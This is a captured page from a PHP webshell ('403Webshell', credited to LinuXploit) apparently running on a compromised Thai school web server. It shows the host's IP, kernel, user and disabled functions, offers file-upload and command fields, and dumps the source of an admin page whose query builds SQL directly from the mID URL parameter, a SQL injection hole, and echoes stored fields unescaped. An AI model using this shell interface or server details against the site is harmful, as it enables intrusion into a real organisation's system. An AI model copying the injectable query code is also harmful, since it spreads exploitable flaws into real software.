403Webshell
Server IP : 202.29.229.35  /  Your IP : 3.22.242.110
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/system_admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/system_admin/showmeeting_all.php
<?php 
session_start();
if($_SESSION['r_statuslogin'] != 1){
 echo '<script language="javascript">alert("สำหรับผู้ดูแลระบบเท่านั้น")</script>';
 echo'<meta http-equiv="refresh" content="0;url=../index.php">';
 exit();
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>

  <!------------------แสดงรูป slideshow------------------------->
	<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
	<script>
		!window.jQuery && document.write('<script src="jquery-1.4.3.min.js"><\/script>');
	</script>
	<script type="text/javascript" src="./fancybox/jquery.mousewheel-3.0.4.pack.js"></script>
	<script type="text/javascript" src="./fancybox/jquery.fancybox-1.3.4.pack.js"></script>
	<link rel="stylesheet" type="text/css" href="./fancybox/jquery.fancybox-1.3.4.css" media="screen" />
 	
	<script type="text/javascript">
		$(document).ready(function() {
			/*
			*   Examples - images
			*/

			$("a#example1").fancybox();

			$("a#example2").fancybox({
				'overlayShow'	: false,
				'transitionIn'	: 'elastic',
				'transitionOut'	: 'elastic'
			});

			$("a#example3").fancybox({
				'transitionIn'	: 'none',
				'transitionOut'	: 'none'	
			});

			$("a#example4").fancybox({
				'opacity'		: true,
				'overlayShow'	: false,
				'transitionIn'	: 'elastic',
				'transitionOut'	: 'none'
			});

			$("a#example5").fancybox();

			$("a#example6").fancybox({
				'titlePosition'		: 'outside',
				'overlayColor'		: '#000',
				'overlayOpacity'	: 0.9
			});

			$("a#example7").fancybox({
				'titlePosition'	: 'inside'
			});

			$("a#example8").fancybox({
				'titlePosition'	: 'over'
			});

			$("a[rel=example_group]").fancybox({
				'transitionIn'		: 'none',
				'transitionOut'		: 'none',
				'titlePosition' 	: 'over',
				'titleFormat'		: function(title, currentArray, currentIndex, currentOpts) {
					return '<span id="fancybox-title-over">Image ' + (currentIndex + 1) + ' / ' + currentArray.length + (title.length ? ' &nbsp; ' + title : '') + '</span>';
				}
			});

			/*
			*   Examples - various
			*/

			$("#various1").fancybox({
				'titlePosition'		: 'inside',
				'transitionIn'		: 'none',
				'transitionOut'		: 'none'
			});

			$("#various2").fancybox();

			$("#various3").fancybox({
				'width'				: '75%',
				'height'			: '75%',
				'autoScale'			: false,
				'transitionIn'		: 'none',
				'transitionOut'		: 'none',
				'type'				: 'iframe'
			});

			$("#various4").fancybox({
				'padding'			: 0,
				'autoScale'			: false,
				'transitionIn'		: 'none',
				'transitionOut'		: 'none'
			});
		});
	</script>
    
    <!------------------------------------------->



</head>

<body>

  <?php
function check_pic($id){

		if ($handle = opendir('pic_meeting/')) {
			while (false !== ($entry = readdir($handle))) {
				if ($entry != "." && $entry != "..") {
					//strpos();
					$entry_array = explode("_",$entry);
					if($id == $entry_array[0]){
						$name[]= $entry;
					}
				}
			}
			closedir($handle);
			if(count($name) > 0){
				return $name;
			}else{
				return false;
			}
			}
}

		//include("connect/connect.php");
		//include("connect/function.php");
		
		$m_ID=$_GET['mID'];
		//echo "====>".$nID;
		
		$sql="select * from tbl_meeting where m_ID='$m_ID' ";
		$result=mysql_query($sql,$connect1);
		$rs=mysql_fetch_array($result);
		
		$mid=$rs['m_ID'];
		$dp_ID=$rs['dp_ID'];
		$wrok_IDup=$rs['ad_ID'];
		
				
					$queryper = "select * from tbl_datatecher1 where tecNumber='$wrok_IDup' ";
					//echo $queryper;
					$resultper=mysql_query($queryper,$connect2);
					$rspertec=mysql_fetch_array($resultper);
					
					$tecPrefixThai=$rspertec['tecPrefixThai'];//คำนำหน้าชื่อ
					$selectwork = $rspertec['selectwork'];//กลุ่มงาน
					//คำนำหน้าชื่อ
					$sqlpf="select * from ref_prefix_name where PREFIX_NAME_ID=$tecPrefixThai";
					$resulpf=mysql_query($sqlpf,$connect2);
					$rspf=mysql_fetch_array($resulpf);
					$tecPrefixThaiori=$rspf['FULLNAME'];
					
						//ชื่อกลุ่มงาน
						$sqlwork="select * from tbl_departmentall where daNodpt='$selectwork' ";
						$resqlwork=mysql_query($sqlwork);
						$rswork=mysql_fetch_array($resqlwork);
						$workname = $rswork['daFname'];
						
   						$workusername=$tecPrefixThaiori."&nbsp;".$rspertec['tecFnameThai']."&nbsp;&nbsp;".$tecLname=$rspertec['tecLnameThai']." (".$workname.")";
		
 
?>
<table width="700" border="0" align="center" cellpadding="5" cellspacing="0">
   <tr>
    <td colspan="2" align="center" valign="top"><h2>ผลสรุปการดำเนินโครงการ</h2></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td  width="150" align="left" valign="top">ชื่อโครงการ</td>
    <td  width="550"align="left" valign="top"><?php echo $rs['m_proName'];?></td>
  </tr>
  <tr>
    <td width="150" align="left" valign="top">&nbsp;</td>
    <td width="550" align="left" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td width="150" align="left" valign="top">ผุ้รับผิดชอบ</td>
    <td width="550" align="left" valign="top"><?php echo $rs['m_perResponsible'];?></td>
  </tr>
  <tr>
    <td width="150" align="left" valign="top">ระยะเวลาดำเนินการ</td>
    <td width="550" align="left" valign="top"><?php echo displaydatethai($rs['m_durationStart']);?> ถึง <?php echo displaydatethai($rs['m_durationEnd']);?></td>
  </tr>
  <tr>
    <td width="150" align="left" valign="top">สถานที่ดำเนินการ</td>
    <td width="550" align="left" valign="top"><?php echo $rs['m_location'];?></td>
  </tr>
  <tr>
    <td width="150" align="left" valign="top">วัตถุประสงค์</td>
    <td width="550" align="left" valign="top"><?php echo $rs['m_objective'];?></td>
  </tr>
  <tr>
    <td width="150" align="left" valign="top">ค่าใช้จ่าย</td>
    <td width="550" align="left" valign="top"><?php echo number_format($rs['m_expense'], 2, '.', ',');?>&nbsp; บาท</td>
  </tr>
  <tr>
    <td width="150" align="left" valign="top">ผลที่ได้รับ</td>
    <td width="550" align="left" valign="top"><?php echo $rs['m_benefits'];?></td>
  </tr>
  <tr>
    <td width="150" align="left" valign="top">ผุ้เข้าร่วมโครงการ</td>
    <td width="550" align="left" valign="top"><?php echo $rs['m_participant'];?></td>
  </tr>
  <tr>
    <td align="left" valign="top">ข้อเสนอแนะ</td>
    <td align="left" valign="top"><?php if($rs['m_comment'] !=""){ echo $rs['m_comment'];}else{ echo "-";}?></td>
  </tr>
  <tr>
    <td width="150" align="left" valign="top">ผลการประเมิน</td>
    <td width="550" align="left" valign="top"><?php if($rs['m_score'] !=""){ echo "อยู่ในระดับ".$rs['m_score'];}else{ echo "-";}?></td>
  </tr>
  <tr>
    <td align="left" valign="top">download file</td>
    <td align="left" valign="top"><?php if($rs['filemeeting'] !=""){ ?><a href="filepdf_meeting/<?php echo $rs['filemeeting'];?>" target="_blank">ไฟล์โครงการที่เกี่ยวข้อง</a><?php  }else{ echo "-";}?></td>
  </tr>
  <tr>
    <td colspan="2" align="center" valign="top">[ <a href="?i=show_projectDptF">ย้อนกลับ</a> ]</td>
  </tr>
  <tr>
    <td colspan="2" align="center" valign="top"><i><font size="2px" color="#999999">นำเข้าข้อมูลเมื่อ : <?php echo displaydate($rs['m_Date']);?>&nbsp;แหล่งที่มา :
          <?php if($rs['dp_ID'] >=29){ echo "แผนกวิชา".$rsdp['addepartment'];}else{ echo $workusername;}?>

    </font></i></td>
  </tr>
</table>
<p>
<table width="700" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td align="left" valign="top">
    
    

        <?php
        	$pic = check_pic($mid);
			if($pic != ""){
		 	foreach($pic as $item){
	 		//$pic_big= '<img src="img/'.$item.' " width="200px" height="150px">';
  //}
						
	
		
        ?>
        <!-----------------------------------------------เริ่มแสดงความเห็นใต้ภาพ---------------------------------------------->
        <a rel="example_group" href="pic_meeting/<?php echo $item;?>" title=""><img src="pic_meeting/<?php echo $item;?>" alt="" width="150px" height="120" style="border:1px solid #CCCCCC; padding:4px"/></a>

              <?php		

		  		}//foreach
				}//endif
		?>
           
   </td>
  </tr>
</table>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit